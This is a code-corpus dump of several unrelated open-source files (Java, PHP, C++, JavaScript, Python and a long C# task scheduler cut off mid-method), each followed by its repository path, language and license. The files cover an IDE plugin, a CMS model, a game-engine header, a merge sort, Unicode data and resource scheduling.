package de.espend.idea.shopware.reference.provider; import com.intellij.codeInsight.lookup.LookupElement; import com.intellij.codeInsight.lookup.LookupElementBuilder; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiPolyVariantReferenceBase; import com.intellij.psi.ResolveResult; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import de.espend.idea.shopware.ShopwarePluginIcons; import de.espend.idea.shopware.util.ShopwareUtil; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; import java.util.List; /** * @author Daniel Espendiller <daniel@espendiller.net> */ public class StringReferenceProvider extends PsiPolyVariantReferenceBase<PsiElement> { final private String[] values; public StringReferenceProvider(StringLiteralExpression stringLiteralExpression, String... values) { super(stringLiteralExpression); this.values = values; } @NotNull @Override public ResolveResult[] multiResolve(boolean b) { return new ResolveResult[0]; } @NotNull @Override public Object[] getVariants() { final List<LookupElement> lookupElements = new ArrayList<>(); for(String value: values) { lookupElements.add(LookupElementBuilder.create(ShopwareUtil.toCamelCase(value, true)) .withIcon(ShopwarePluginIcons.SHOPWARE) ); } return lookupElements.toArray(); } }
Haehnchen/idea-php-shopware-plugin
src/main/java/de/espend/idea/shopware/reference/provider/StringReferenceProvider.java
Java
mit
1,454
<?php namespace Fes\Blog\Models; use Model; use Schema; /** * Category Model */ class Category extends Model { /** * @var string The database table used by the model. */ public $table = 'rainlab_blog_categories'; /** * @var array Guarded fields */ protected $guarded = ['*']; /** * @var array Fillable fields */ protected $fillable = []; /** * @var array Relations */ public $belongsTo = [ 'post' => ['RainLab\Blog\Models\Post'] ]; public static function getColumnData($column) { $columnData = array(); $columns = Schema::getColumnListing('rainlab_blog_categories'); if (in_array($column, array_values($columns))) { $columnData = self::lists($column); } return $columnData; } }
FrontEndStudio/oc-blog-plugin
models/Category.php
PHP
mit
869
#ifndef DT3_SCRIPTINGKEYFRAMESMATERIALRESOURCE #define DT3_SCRIPTINGKEYFRAMESMATERIALRESOURCE //============================================================================== /// /// File: ScriptingKeyframesMaterialResource.hpp /// /// Copyright (C) 2000-2014 by Smells Like Donkey Software Inc. All rights reserved. /// /// This file is subject to the terms and conditions defined in /// file 'LICENSE.txt', which is part of this source code package. /// //============================================================================== #include "DT3Core/Scripting/ScriptingKeyframes.hpp" #include "DT3Core/Resources/ResourceTypes/MaterialResource.hpp" //============================================================================== //============================================================================== namespace DT3 { //============================================================================== /// Keyframes for Material Resource type. //============================================================================== class ScriptingKeyframesMaterialResource: public ScriptingKeyframes { public: DEFINE_TYPE(ScriptingKeyframesMaterialResource,ScriptingKeyframes) DEFINE_CREATE_AND_CLONE DEFINE_PLUG_NODE ScriptingKeyframesMaterialResource (void); ScriptingKeyframesMaterialResource (const ScriptingKeyframesMaterialResource &rhs); ScriptingKeyframesMaterialResource & operator = (const ScriptingKeyframesMaterialResource &rhs); virtual ~ScriptingKeyframesMaterialResource (void); virtual void archive (const std::shared_ptr<Archive> &archive); public: /// Called to initialize the object virtual void initialize (void); /// Computes the value of the node /// \param plug plug to compute DTboolean compute (const PlugBase *plug); /// Set a key at the current time virtual void set_key (void); /// Clear a key at the current time virtual void clear_key (void); /// Clear a key with index /// \param k key index virtual void clear_key (DTint k); /// Get the number of keys /// \return number of keys virtual DTsize num_keys (void) const { return _keyframes.size(); } /// Returns a unique ID for this key /// \param k key index /// \return ID virtual DTint key_id (DTint k) const { return _keyframes[k]._id; } /// Get the time for the key /// \param k key index /// \return time virtual DTfloat key_time (DTint k) const { return _keyframes[k]._time; } /// Set the time for the key /// \param k key index /// \param time key time /// \return new index virtual DTint set_key_time (DTint k, DTfloat time); private: Plug<DTfloat> _t; Plug<std::shared_ptr<MaterialResource>> _out; DTint _id; struct keyframe { int operator < (const keyframe& rhs) const { return _time < rhs._time; } DTfloat _time; std::shared_ptr<MaterialResource> _value; DTint _id; }; std::vector<keyframe> _keyframes; mutable DTint _keyframe_cache; }; //============================================================================== //============================================================================== } // DT3 #endif
pakoito/DT3
DT3Core/Scripting/ScriptingKeyframesMaterialResource.hpp
C++
mit
3,534
package com.algorithms.sorting; public class MergeBU { public static void sort(Comparable[] a) { Comparable[] aux = new Comparable[a.length]; int N = a.length; for (int size = 1; size < N; size = size*2) { for (int i = 0; i < N; i = i + size) merge(a, aux, i, i+size-1, Math.min(i+size+size-1, N-1)); } } private static boolean less(Comparable v, Comparable w) { return v.compareTo(w) < 0; } private static void merge(Comparable[] a, Comparable[] aux, int lo, int mid, int hi) { assert isSorted(a, lo, mid); assert isSorted(a, mid+1, hi); for (int i = lo; i < hi; i++) aux[i] = a[i]; int i = lo, j = mid + 1; for (int k = lo; k < hi; k ++) { if (i > mid) a[k] = aux[j++]; else if (j > hi) a[k] = aux[i++]; if (less(aux[j], aux[i])) a[k] = aux[j++]; else a[k] = aux[i++]; } assert isSorted(a, lo, hi); } private static boolean isSorted(Comparable[] a, int lo, int hi) { for (int i = lo; i < hi; i ++) { if (less(a[i+1], a[i])) return false; } return true; } }
SkullTech/algorithms-princeton
Algorithms/src/sorting/MergeBU.java
Java
mit
1,193
// All code points in the `Hatran` script as per Unicode v10.0.0: [ 0x108E0, 0x108E1, 0x108E2, 0x108E3, 0x108E4, 0x108E5, 0x108E6, 0x108E7, 0x108E8, 0x108E9, 0x108EA, 0x108EB, 0x108EC, 0x108ED, 0x108EE, 0x108EF, 0x108F0, 0x108F1, 0x108F2, 0x108F4, 0x108F5, 0x108FB, 0x108FC, 0x108FD, 0x108FE, 0x108FF ];
mathiasbynens/unicode-data
10.0.0/scripts/Hatran-code-points.js
JavaScript
mit
329
#!/usr/bin/env python from distutils.core import setup from dangagearman import __version__ as version setup( name = 'danga-gearman', version = version, description = 'Client for the Danga (Perl) Gearman implementation', author = 'Samuel Stauffer', author_email = 'samuel@descolada.com', url = 'http://github.com/saymedia/python-danga-gearman/tree/master', packages = ['dangagearman'], classifiers = [ 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], )
saymedia/python-danga-gearman
setup.py
Python
mit
699
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Drawing; using System.Windows.Forms; using System.Threading; using System.Drawing.Drawing2D; namespace Scheduler { public class Scheduler<T, K> : IRuntimeScheduler, IScheduler<K> where T:ScheduleTask, new() { internal class _Resource : IResource { public string Name { get; set; } public int Count { get; set; } public System.Drawing.Color Color { get; set; } } public void Register(string name, int count, int color) { _Resource r = new _Resource(); r.Name = name; r.Count = count; r.Color = Color.FromArgb(color); this.Register(r); } protected List<ScheduleResource> _resources = new List<ScheduleResource>(); protected LinkedList<T> _tasks = new LinkedList<T>(); Nullable<DateTime> executeStart = null; public int Current { get { if (!executeStart.HasValue) return 0; else return (int)new TimeSpan(DateTime.Now.Ticks - executeStart.Value.Ticks).TotalSeconds; } } public double CurrentExecuteTime { get { if (executeStart == null) return 0; else return new TimeSpan(DateTime.Now.Ticks - executeStart.Value.Ticks).TotalSeconds; } } public Nullable<DateTime> ExecuteStartTime { get { return executeStart; } } public void Register(IResource res) { if (res is ScheduleResource) _resources.Add(res as ScheduleResource); else _resources.Add(new ScheduleResource(res)); } public IRuntimeResource GetResource(string name) { for (int i = 0; i < _resources.Count; i++) if (name.Equals(_resources[i].Name)) return _resources[i].RuntimeResource; return null; } public int TaskCount { get { return _tasks.Count; } } public IRuntimeTask GetTask(int id) { LinkedListNode<T> t = _tasks.First; while (t != null) { if (t.Value.ID == id) return t.Value.RuntimeTask; t = t.Next; } return null; } public IRuntimeResource[] Resources { get { IRuntimeResource[] res = new IRuntimeResource[_resources.Count]; for (int i = 0; i < _resources.Count; i++) res[i] = _resources[i].RuntimeResource; return res; } } public IRuntimeTask[] Tasks { get { IRuntimeTask[] t = new IRuntimeTask[_tasks.Count]; int i = 0; LinkedListNode<T> node = _tasks.First; while (node != null) { t[i] = node.Value.RuntimeTask; node = node.Next; i++; } return t; } } public virtual int Activate(K task) { return Activate(task, null); } private int ActivateImpl(T t, K task, Dictionary<int, TaskRelation> relations) { if (relations != null) { foreach (int key in relations.Keys) { t.Relations[key] = relations[key]; } } return ActivateImpl(t, task); } private int ActivateImpl(T t, K task) { if (_tasks.Contains(t)) return -1; if (IsRunning) { List<ScheduleTask> TasksAfter = new List<ScheduleTask>(); foreach (int id in t.Relations.Keys) { TaskRelation tr = t.Relations[id]; if (tr == TaskRelation.BeforeRunEnd || tr == TaskRelation.BeforeRunStart) { IRuntimeTask it = GetTask(id); if (it == null) throw new Exception("subsequential task can not be found"); Status s = GetTask(id).Status; if (s != Status.NotScheduled && s != Status.Scheduled && s != Status.Unscheduled && s != Status.NotSchedulable) throw new Exception("subsequential task is running, processed"); } } } LinkedListNode<T> node = null; if (_tasks.Count == 0) node = _tasks.AddFirst(t); else node = _tasks.AddLast(t); t.ID = _tasks.Count; t.Status = Status.NotScheduled; t.Scheduler = this; t.SetTask(task); if (IsRunning) { Schedule(); } return _tasks.Count; } public virtual int Activate(K task, Dictionary<int, TaskRelation> relations) { T t = new T(); if (relations != null) { foreach (int key in relations.Keys) { t.Relations[key] = relations[key]; } } return ActivateImpl(t, task); } public bool IsRunning { get { return executeStart != null && _runThread != null && _runThread.IsAlive; } } Thread _runThread; public void Run() { if (_runThread != null && _runThread.IsAlive) return; if(!executeStart.HasValue) executeStart = DateTime.Now; _runThread = new Thread(new ThreadStart(CheckThread)); _runThread.Start(); } bool CheckTaskStartPoint(ScheduleTask t) { ScheduleActivity ac = t.Activities[0]; bool canStart = true; foreach (LinkedListNode<UnitReservation> ur in ac.UnitReservations) { if (ur.Previous != null && (ur.Previous.Value.Activity.Status != Status.Cancelled && ur.Previous.Value.Activity.Status != Status.Processed && ur.Previous.Value.Activity.WaitingForCompleted!=true)) canStart = false; } foreach (ScheduleTask pt in t.TasksRunAfterEnd) { if (pt.Status != Status.Processed && pt.Status != Status.Cancelled) canStart = false; } foreach (ScheduleTask pt in t.TasksRunAfterStart) { if (pt.Status == Status.Scheduled) canStart = false; } if (CurrentExecuteTime < t.Activities[0].PlannedStart) { canStart = false; } return canStart; } void RunTask(object t) { (t as ScheduleTask).Execute(this); } void CheckThread() { while (true) { LinkedListNode<T> node = _tasks.First; bool allFinished = true; while (node != null) { if (node.Value.Status != Status.Processed && node.Value.Status != Status.Cancelled) allFinished = false; if (node.Value.Status == Status.Scheduled && CheckTaskStartPoint(node.Value)) { node.Value.ActivityCompleted += new SchedulerEventHandler<ActivityEventArg>(OnActivityCompleted); node.Value.ActivityStarted += new SchedulerEventHandler<ActivityEventArg>(OnActivityStarted); node.Value.ActivityCancelled += new SchedulerEventHandler<ActivityEventArg>(OnActivityCancelled); //node.Value.Execute(this); Thread t = new Thread(new ParameterizedThreadStart(RunTask)); node.Value.Status = Status.Running; t.Start(node.Value); } node = node.Next; } if (allFinished) { FireStateChanged(); return; } lock (this) { CheckRunState(); } FireStateChanged(); Thread.Sleep(600); } } void CheckMoveLeftOnActivityComplete(ScheduleActivity completedActivity, int completedActivityOffset) { LinkedListNode<T> node = _tasks.First; int offset = completedActivityOffset; int minNextTaskStartTime = int.MaxValue; while (node != null) { if (node.Value.Status == Status.Running) { ScheduleActivity curAct = node.Value.CurrentRunningActivity; if (curAct != null) { if (curAct.Status == Status.Running && curAct.WaitingForCompleted == true) { //int o = curAct.PlannedDuration - Current + curAct.PlannedStart; //if (o < offset) // offset = o; offset = -1; } else if (curAct.Status == Status.Running) { int o = curAct.PlannedDuration - curAct.Duration; if (o < offset) offset = o; } else if (curAct.Equals(completedActivity)) { } else { offset = -1; } } else { offset = -1; //offsetRight = -1; } } else if (node.Value.Status == Status.Scheduled) { int st = node.Value.PlannedStart; if (st < minNextTaskStartTime) minNextTaskStartTime = st; } node = node.Next; } if (offset != -1 && minNextTaskStartTime!=-1) { minNextTaskStartTime = minNextTaskStartTime - Current; if (minNextTaskStartTime < offset) offset = minNextTaskStartTime; } if (offset > 1) { node = _tasks.First; while (node != null) { if (node.Value.Status != Status.Processed && node.Value.Status!=Status.Cancelled && node.Value.Status!=Status.Unscheduled && node.Value.Status!=Status.NotSchedulable) { ScheduleTask t = node.Value; for (int i = 0; i < t.Activities.Length; i++) { ScheduleActivity ac = t.Activities[i]; if (ac.Status == Status.Running) { ac.PlannedDuration -= offset; } else if (ac.Status != Status.Processed && ac.Status!=Status.Cancelled) { ac.PlannedStart -= offset; } else if (ac.Status == Status.Processed) { } } } node = node.Next; } CheckConflict("check left move afte task completed"); } } void CheckRunState() { //check run state LinkedListNode<T> node = _tasks.First; int offset = int.MaxValue; int offsetRight = -1; int minNextTaskStartTime = int.MaxValue; ScheduleActivity moveAct = null; while (node != null) { if (node.Value.Status == Status.Running && node.Value.Activities[0].Status!=Status.Scheduled) { ScheduleActivity curAct = node.Value.CurrentRunningActivity; if (curAct != null) { if (curAct.Status == Status.Running && curAct.WaitingForCompleted == true) { int o1 = curAct.PlannedDuration - Current + curAct.PlannedStart; if (o1 < offset) offset = o1; //offset = -1; //int o = Current - curAct.PlannedStart - curAct.PlannedDuration; //if (o > offsetRight) { //offsetRight = o; //moveAct = curAct; } } else if (curAct.Status == Status.Running) { //problem here int o = curAct.PlannedDuration - curAct.Duration-(Current-curAct.PlannedStart); if (o < offset) offset = o; o = Current - curAct.PlannedStart - curAct.PlannedDuration; if (o > offsetRight) { offsetRight = o; moveAct = curAct; } } else// if (node.Value.CurrentRunningActivity.Status == Status.Processed) { offset = -1; } } else { offset = -1; //offsetRight = -1; } } else if (node.Value.Status == Status.Scheduled || (node.Value.Status==Status.Running && node.Value.Activities[0].Status==Status.Scheduled)) { int st = node.Value.PlannedStart; if (st < minNextTaskStartTime) minNextTaskStartTime = st; int ostart = Current - node.Value.PlannedStart; if (ostart > offsetRight) { offsetRight = ostart; moveAct = node.Value.Activities[0]; } } node = node.Next; } if (offset != int.MaxValue) { minNextTaskStartTime = minNextTaskStartTime - Current; if (minNextTaskStartTime < offset) offset = minNextTaskStartTime; } if (offset > 2 && offset != int.MaxValue) { node = _tasks.First; while (node != null) { if (node.Value.Status != Status.Processed && node.Value.Status!=Status.Cancelled && node.Value.Status!=Status.NotScheduled && node.Value.Status!=Status.NotSchedulable) { ScheduleTask t = node.Value; for (int i = 0; i < t.Activities.Length; i++) { ScheduleActivity ac = t.Activities[i]; if (ac.Status == Status.Running) { ac.PlannedDuration -= offset; } else if (ac.Status != Status.Processed && ac.Status!=Status.Cancelled) { ac.PlannedStart -= offset; } else if (ac.Status == Status.Processed) { } } } node = node.Next; } CheckConflict("ChckRunState move left"); //FireStateChanged(); } else if (offsetRight >= 2) { MoveActivityRight(moveAct, offsetRight); CheckConflict("ChckRunState move left"); //FireStateChanged(); } } void OnActivityCancelled(object sender, ActivityEventArg eventArgs) { ScheduleActivity act = eventArgs.Activity; if (act == null) return; lock (this) { Console.WriteLine("task {0} - {1} activity {2} is cancelled", act.Task.ID, act.Task.Name, act.Name); ScheduleActivity next=act; while (next.Next != null) next = next.Next; int offset = next.PlannedDuration - Current + next.PlannedStart; int planStart = act.PlannedStart; if (act.Previous != null) { act.PlannedStart = act.Previous.PlannedDuration + act.Previous.PlannedStart; } act.PlannedDuration = Current - act.PlannedStart; act.Status = Status.Cancelled; act.Task.Status = Status.Cancelled; this.Lock(); try { next = act.Next; while (next != null) { foreach (string res in next.Resources.Keys) { foreach (ScheduleResource r in _resources) { if (res.Equals(r.Name)) { r.RemoveReservationForActivity(next); break; } } } next.Reservations.Clear(); next.UnitReservations.Clear(); next.Status = Status.Cancelled; next.PlannedStart = next.Previous.PlannedDuration + next.Previous.PlannedStart; next = next.Next; } if (offset > 0) { //移动activity左移 CheckMoveLeftOnActivityComplete(act, offset); CheckConflict("Check move left cancelled"); } FireScheduleStarted(); foreach (ScheduleTask t in _tasks) { if (t.Status == Status.Scheduled) UnSchedule(t); } SchedulerImpl(); FireScheduleCompleted(); } catch (Exception ex) { } finally { this.Unlock(); } FireStateChanged(); } } protected void OnActivityStarted(object sender, ActivityEventArg eventArgs) { lock (this) { ScheduleActivity act = eventArgs.Activity; Console.WriteLine("task {0} - {1} activity {2} is started", act.Task.ID, act.Task.Name, act.Name); int planStart = act.PlannedStart; if (act.Previous != null) act.PlannedStart = act.Previous.PlannedDuration + act.Previous.PlannedStart; else act.PlannedStart = Current; if(act.Next!=null) act.PlannedDuration += planStart - act.PlannedStart; FireStateChanged(); } } protected void OnActivityCompleted(object sender, ActivityEventArg eventArgs) { lock (this) { ScheduleActivity act = eventArgs.Activity; Console.WriteLine("task {0} - {1} activity {2} is completed", act.Task.ID, act.Task.Name, act.Name); int offset = act.PlannedDuration - Current + act.PlannedStart; act.PlannedDuration = Current - act.PlannedStart; if (offset > 0) { //移动activity左移 CheckMoveLeftOnActivityComplete(act, offset); CheckConflict("after task completed " + act.Task.ID); if (act.Next != null && act.Next.PlannedStart != act.PlannedDuration + act.PlannedStart) { act.Next.PlannedDuration = act.Next.PlannedDuration + (act.Next.PlannedStart - (act.PlannedDuration + act.PlannedStart)); act.Next.PlannedStart = act.PlannedDuration + act.PlannedStart; } } FireStateChanged(); } } Dictionary<string, ScheduleResource> _name2res = new Dictionary<string, ScheduleResource>(); Dictionary<int, ScheduleTask> _id2task = new Dictionary<int, ScheduleTask>(); ScheduleTask lastScheduledTask = null; void UnSchedule(ScheduleTask t) { if (t.Status == Status.NotSchedulable || t.Status == Status.NotScheduled || t.Status==Status.Unscheduled) return; if (t.Status != Status.Scheduled) { throw new Exception("can not unschedule task " + t.ID + ", because it is running, processed"); } //unschedule the task must be runned before it LinkedListNode<T> node = _tasks.First; while (node != null) { bool AfterT = false; foreach (ScheduleTask task in node.Value.TasksRunAfterEnd) { if(task.Equals(t)) AfterT=true; } foreach (ScheduleTask task in node.Value.TasksRunAfterStart) { if (task.Equals(t)) AfterT = true; } if (AfterT) UnSchedule(node.Value); node = node.Next; } //unschedule for (int i = 0; i < t.Activities.Length; i++) { Dictionary<ScheduleResource, bool> res = new Dictionary<ScheduleResource, bool>(); ScheduleActivity act = t.Activities[i]; foreach (LinkedListNode<UnitReservation> ur in act.UnitReservations) { res[ur.Value.Resource] = true; } foreach (ScheduleResource r in res.Keys) r.RemoveReservationForActivity(act); act.Reservations.Clear(); act.UnitReservations.Clear(); act.PlannedDuration = -1; act.PlannedStart = -1; act.Status = Status.Unscheduled; } t.Status = Status.Unscheduled; //Console.WriteLine("task " + t.ID + " is unschedule"); FireStateChanged(); } //stretch or move activity forward, if ok, return null, else return which activity should be move forward private ScheduleActivity ScheduleBackward(ScheduleActivity ac, int endTime) { bool canSchedule = true; int maxDuration = 0; int ostart=ac.PlannedStart; if (ac.Resources.Count > 0) { int checkstart=Math.Max(ac.PlannedStart,(int)( endTime - ac.Duration*(1-SchedulerSetting.Instance.DefaultDecreaseRate))); for (int start = checkstart ; start >= ostart; start--) { ac.PlannedStart = start; ac.PlannedDuration = endTime - start; if (ac.MaxPlannedDuration >= ac.Duration && ac.PlannedDuration > ac.MaxPlannedDuration) break; else if (ac.MaxPlannedDuration < ac.Duration && ac.PlannedDuration > ac.Duration * SchedulerSetting.Instance.MaxPlantimeEnlarge) break; foreach (string key in ac.Resources.Keys) { ScheduleResource trc = _name2res[key]; int count = ac.Resources[key]; int[] units = null; if ((units = trc.CheckReservation(ac, ac.PlannedStart, ac.PlannedDuration, count)) != null) { if (ac.PlannedDuration> maxDuration) maxDuration = ac.PlannedDuration; } else { canSchedule = false; } if (!canSchedule) break; } if (!canSchedule) break; } } else { if(ac.MaxPlannedDuration>ac.Duration) maxDuration = Math.Min(ac.MaxPlannedDuration, endTime - ac.PlannedStart); else maxDuration=Math.Min(endTime-ac.PlannedStart,(int)(ac.Duration*SchedulerSetting.Instance.MaxPlantimeEnlarge)); } if (canSchedule) { if (ac.Previous == null && maxDuration > ac.Duration) maxDuration = ac.Duration; ac.PlannedDuration = maxDuration; ac.PlannedStart = endTime - maxDuration; Console.WriteLine("!Make backward reservation for task {3} activity {0} start={1} duration={2} and endtime={4}", ac.Name, ac.PlannedStart, ac.PlannedDuration, ac.Task.ID, endTime); if (ac.Previous != null && ac.Previous.PlannedStart + ac.Previous.PlannedDuration != ac.PlannedStart) { return ScheduleBackward(ac.Previous, ac.PlannedStart); } return null; } return ac; } private bool ScheduleForeward(ScheduleActivity ac, int startTime) { ac.PlannedStart = startTime; ac.PlannedDuration = ac.Duration; int minPlannedDuration = int.MaxValue; int maxNextFreeTime = 0; bool canSchedule = true; if (ac.Resources.Count > 0) { foreach (string key in ac.Resources.Keys) { ScheduleResource trc = _name2res[key]; int count = ac.Resources[key]; int nextFreeTimeOffset = -1; int[] units = null; int planedDuration = 0; //增加下一个可用位置的记忆 if ((units = trc.CheckReservationForward(ac, ac.PlannedStart, ac.PlannedDuration, count, out planedDuration, out nextFreeTimeOffset)) != null) { if (planedDuration < minPlannedDuration) minPlannedDuration = planedDuration; if (nextFreeTimeOffset > maxNextFreeTime) maxNextFreeTime = nextFreeTimeOffset; } else { if (nextFreeTimeOffset > maxNextFreeTime) maxNextFreeTime = nextFreeTimeOffset; canSchedule = false; } } } else { minPlannedDuration = ac.Duration; maxNextFreeTime = ac.PlannedStart + 1; } if (canSchedule) { //make reservation ac.PlannedDuration = minPlannedDuration; ac.NextAvailableTime = startTime + maxNextFreeTime; Console.WriteLine("Make forward reservation for task {3} activity {0} start={1} duration={2}", ac.Name, ac.PlannedStart, ac.PlannedDuration,ac.Task.ID); if (ac.Next != null) return ScheduleForeward(ac.Next, ac.PlannedStart + ac.PlannedDuration); else return true; } else { bool forward = true; ScheduleActivity mact = null; if (ac.Previous != null) forward = ((mact=ScheduleBackward(ac.Previous, ac.PlannedStart + maxNextFreeTime))==null); if (forward) { return ScheduleForeward(ac, startTime + maxNextFreeTime); } else { return ScheduleForeward( mact, Math.Max(mact.NextAvailableTime, (mact.PlannedStart + 1))); } } } private void DoSchedule(ScheduleTask t, int level = 0) { if (level >= _tasks.Count) throw new Exception("can not schedule the task due to task relations"); if (t.Status != Status.NotScheduled && t.Status != Status.Unscheduled) { return; } int startTime = Current; //unschedule the task must be runned before it { LinkedListNode<T> node = _tasks.First; while (node != null) { bool AfterT = false; foreach (ScheduleTask task in node.Value.TasksRunAfterEnd) { if (task.Equals(t)) AfterT = true; } foreach (ScheduleTask task in node.Value.TasksRunAfterStart) { if (task.Equals(t)) AfterT = true; } if (AfterT) { UnSchedule(node.Value); } node = node.Next; } } //end of unschedule if (t.TasksRunAfterEnd.Count > 0 || t.TasksRunAfterStart.Count > 0) { foreach (ScheduleTask task in t.TasksRunAfterStart) { level++; if (task.Status == Status.NotScheduled) { DoSchedule(task, level); } startTime = Math.Max(startTime, task.PlannedStart); } foreach (ScheduleTask task in t.TasksRunAfterEnd) { level++; if (task.Status == Status.NotScheduled) { DoSchedule(task, level); } startTime = Math.Max(startTime, task.PlannedStart + task.PlannedDuration); } } if (ScheduleForeward(t.Activities[0], startTime)) { for (int j = 0; j < t.Activities.Length; j++) { ScheduleActivity ac = t.Activities[j]; foreach (string key in ac.Resources.Keys) { ScheduleResource trc = _name2res[key]; int count = t.Activities[j].Resources[key]; ac.Reservations[key] = trc.Reserve(ac, ac.PlannedStart, ac.PlannedDuration, count); if (ac.Reservations[key] == null) { throw new Exception("unexpected scheduler error"); } } ac.Status = Status.Scheduled; } t.Status = Status.Scheduled; } else { throw new Exception("unexpected scheduler error"); } if (t.Status != Status.Scheduled) { t.Status = Status.NotSchedulable; } } public void Schedule() { FireScheduleStarted(); lock(this){ this.Lock(); SchedulerImpl(); this.Unlock(); } FireScheduleCompleted(); FireStateChanged(); } protected void SchedulerImpl() { _name2res.Clear(); _id2task.Clear(); foreach (ScheduleResource t in _resources) { _name2res[t.Name] = t; } LinkedListNode<T> node = _tasks.First; while (node != null) { //if (node.Value.Status == Status.NotScheduled) _id2task[node.Value.ID] = node.Value; node = node.Next; } foreach (ScheduleTask t in _tasks) { if (t.Status == Status.NotScheduled || t.Status == Status.Unscheduled) { Boolean canSchedule = true; if (t.Activities == null || t.Activities.Length == 0) canSchedule = false; else foreach (ScheduleActivity act in t.Activities) { foreach (string res in act.Resources.Keys) { if (!_name2res.ContainsKey(res)) { canSchedule = false; } else if (_name2res[res].AvailableCount < act.Resources[res]) canSchedule = false; } } if (!canSchedule) t.Status = Status.NotSchedulable; } } node = _tasks.First; while (node != null) { foreach (int key in node.Value.Relations.Keys) { TaskRelation rel = node.Value.Relations[key]; ScheduleTask t = _id2task[key]; if (rel == TaskRelation.AfterTaskStart) { if (!node.Value.TasksRunAfterStart.Contains(t)) { node.Value.TasksRunAfterStart.Add(t); } } if (rel == TaskRelation.AfterTaskEnd) { if (!node.Value.TasksRunAfterEnd.Contains(t)) { node.Value.TasksRunAfterEnd.Add(t); } } if (rel == TaskRelation.BeforeRunStart) { if (!t.TasksRunAfterStart.Contains(node.Value)) { t.TasksRunAfterStart.Add(node.Value); } } if (rel == TaskRelation.BeforeRunEnd) { if (!t.TasksRunAfterEnd.Contains(node.Value)) { t.TasksRunAfterEnd.Add(node.Value); } } } node = node.Next; } int count = 1; while (count > 0) { count = 0; node = _tasks.First; while (node != null) { //Console.WriteLine("task {0} status is {1} and {2} activies", node.Value.ID, node.Value.Status, node.Value.Activities.Length); if ((node.Value.Status == Status.NotScheduled || node.Value.Status == Status.Unscheduled) && node.Value.Status != Status.NotSchedulable )// && !_scheduledTasks.ContainsKey(node.Value.ID)) { count++; DoSchedule(node.Value); } node = node.Next; } } } public bool CheckActivityStart(ScheduleActivity next) { lock (this) { bool canRunNext = true; if (next != null && next.UnitReservations.Count > 0) { for (int j = 0; j < next.UnitReservations.Count; j++) { //TODO互锁问题需要解决 LinkedListNode<UnitReservation> nur = next.UnitReservations[j].Previous; if (nur != null)// && !currentUnit.ContainsKey(nur)) { ScheduleActivity pRAct = nur.Value.Activity; if (nur.Value.Activity.Status != Status.Processed && nur.Value.Activity.Status != Status.Cancelled && pRAct.WaitingForCompleted != true) { canRunNext = false; } } } } return canRunNext; } } //event Boolean isScheduling=false; public bool Scheduling { get { return isScheduling; } } public event EventHandler<SchedulerStateChangeEventArg> StateChanged; public event EventHandler<SchedulerStateChangeEventArg> TaskScheduleStarted; public event EventHandler<SchedulerStateChangeEventArg> TaskScheduleCompleted; void FireScheduleStarted() { isScheduling = true; if (TaskScheduleStarted != null) TaskScheduleStarted(this, new SchedulerStateChangeEventArg()); } void FireScheduleCompleted() { isScheduling = false; if (TaskScheduleCompleted != null) TaskScheduleCompleted(this, new SchedulerStateChangeEventArg()); } void FireStateChanged() { if (StateChanged != null) { StateChanged(this, new SchedulerStateChangeEventArg()); } } void MoveActivityLeft(ScheduleActivity act, int offset) { ScheduleActivity a = act.Next; int offset2 = int.MaxValue; foreach (LinkedListNode<UnitReservation> ur in a.UnitReservations) { if (ur.Previous != null) { int d = ur.Value.Activity.PlannedStart - (ur.Previous.Value.Activity.PlannedStart + ur.Previous.Value.Activity.PlannedDuration); if (d < offset2) offset2 = d; } } if (offset < offset2) offset2 = offset; if (offset2 <= 0) return; a.PlannedStart -= offset2; if (a.Next != null) MoveActivityLeft(a.Next, offset2); foreach (LinkedListNode<UnitReservation> ur in a.UnitReservations) { if (ur.Next != null) MoveActivityLeft(ur.Next.Value.Activity, offset2); } } void MoveAllActivityleft(int offset) { LinkedListNode<T> node = _tasks.First; while (node != null) { ScheduleTask t = node.Value; if (t.Status != Status.Processed && t.Status != Status.Cancelled) { for (int i = 0; i < t.Activities.Length; i++) { ScheduleActivity ac = t.Activities[i]; if (ac.Status == Status.Running) { ac.PlannedDuration -= offset; } else if (ac.Status != Status.Processed) { ac.PlannedStart -= offset; } } } node = node.Next; } } //>>>>>>>>>>> void DoMovePreActivity(ScheduleActivity act) { ScheduleActivity pre = act.Previous; while (pre != null) { if (pre.Status == Status.Processed ) return; ScheduleActivity next = pre.Next; int gap = next.PlannedStart - pre.PlannedStart - pre.PlannedDuration; if (gap <= 0) { return; } bool canMove = true; foreach (LinkedListNode<UnitReservation> ur in pre.UnitReservations) { if (ur.Next != null && ur.Next.Value.PlannedStart - ur.Value.PlannedStart - ur.Value.PlannedDuration < gap) { canMove = false; } } if (pre.Status == Status.Running) { pre.PlannedDuration += gap; return; } if (canMove || next.Equals(act)) { pre.PlannedStart += gap; } else { bool canStretch = true; foreach (LinkedListNode<UnitReservation> ur in pre.Next.UnitReservations) { if (ur.Previous != null && ur.Value.PlannedStart - ur.Previous.Value.PlannedStart - ur.Previous.Value.PlannedDuration < gap) canStretch = false; } if (canStretch) { next.PlannedStart -= gap; next.PlannedDuration += gap; } } pre = pre.Previous; } } void DoMoveActibityRight(ScheduleActivity act, int offset, int level = 0) { int start = act.PlannedStart; int duration = act.PlannedDuration; level += 1; //处理后边的activity if (act.Status != Status.Scheduled && act.Status != Status.Running) return; if (act.Next != null) { ScheduleActivity s = act.Next; if (s != null) { //nextActs[s] = true; int offset2 = s.PlannedStart - start - duration; int offset3 = s.PlannedDuration - s.Duration; if (offset3>0 && offset3>=offset) { s.PlannedStart += offset; s.PlannedDuration -= offset; } else if (offset3 > 0 && offset3<offset) { s.PlannedStart += offset3; s.PlannedDuration -= offset3; DoMoveActibityRight(s, offset - offset3, level); } else if (offset3<=0 && offset2 < offset && offset-offset2>0) { DoMoveActibityRight(s, offset - offset2, level); } } } if (act.UnitReservations != null) { for (int i = 0; i < act.UnitReservations.Count; i++) { //Dictionary<ScheduleActivity, bool> nextActs = new Dictionary<ScheduleActivity, bool>(); if (act.UnitReservations[i].Next != null) { ScheduleActivity s = act.UnitReservations[i].Next.Value.Activity; //if (nextActs.ContainsKey(s)) if (s != null) { //nextActs[s] = true; int offset2 = s.PlannedStart - start - duration; int offset3 = s.PlannedDuration - s.Duration; 